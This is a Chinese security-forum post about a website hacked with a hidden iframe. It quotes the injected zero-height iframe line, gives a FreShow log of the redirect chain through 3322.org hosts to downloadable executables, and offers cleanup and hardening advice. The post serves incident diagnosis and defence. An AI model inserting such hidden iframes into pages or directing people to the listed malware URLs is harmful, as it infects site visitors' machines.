瑞星卡卡安全论坛

我的网站地址：www.dt286.com



挂马站点：http://momowo123.3322.org

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; GreenBrowser)

网站首页代码第一行被加入了<iframe src=http://kao**.3322.org/*****/**.htm?2 width=100 height=0></iframe>然后就是:kaka7: ，可以放心的是瑞星可以拦截病毒和恶意脚本

Log is generated by FreShow.
[wide]http://www.dt286.com/
    [frame]http://kaosini123.3322.org/a/a1.htm?2(所挂恶意链接地址)
        [frame]http://kaosini123.3322.org/a/163.htm
            [frame]http://kaosini123.3322.org/a/ggqm.htm
                [object]http://hu280.3322.org/web/activex.exe
            [script]http://kaosini123.3322.org/a/js.js
                [frame]http://kaosini123.3322.org/a/gg14.htm
                    [script]http://kaosini123.3322.org/a/14.js
                        [object]http://exe316.com/web/xp.exe
                    [script]http://kaosini123.3322.org/a/15.js
                    [script]http://kaosini123.3322.org/a/16.js
                [frame]http://kaosini123.3322.org/a/ggfl.htm
                [frame]http://kaosini123.3322.org/a/ggff.htm
                [frame]http://kaosini123.3322.org/a/ggvod.htm
                [frame]http://kaosini123.3322.org/a/e.htm
                [frame]http://kaosini123.3322.org/a/ggbb.htm
                [frame]http://kaosini123.3322.org/a/ggr.htm
        [script]http://kaosini123.3322.org/a/\"http:\/\/js.tongji.cn.yahoo.com\/1079417\/ystat.js\"
        [script]http://s56.cnzz.com/stat.php?id=1408266&web_id=1408266
    [script]http://www.dt286.com/templates/default22/js/common.js
    [script]http://www.dt286.com/templates/default22/js/common0.js
    [script]http://www.dt286.com/include/js/ajax.js
    [script]http://www.dt286.com/include/js/common.js
    [script]http://www.dt286.com/templates/default22/js/common0.js
    [script]http://www.dt286.com/batch.panel.php?rand=193604
    [frame]http://news.sina.com.cn/iframe/2008/weather/jump_new.html
    [script]http://s103.cnzz.com/stat.php?id=1395494&web_id=1395494

在网站源代码中搜索http://kaosini123.3322.org/a/a1.htm?2，将其清除，建议网站服务器打全系统补丁包括第三方应用程序的补丁，设置健壮开机密码，网站服务器如使用sql数据库，建议设置健壮的sa密码。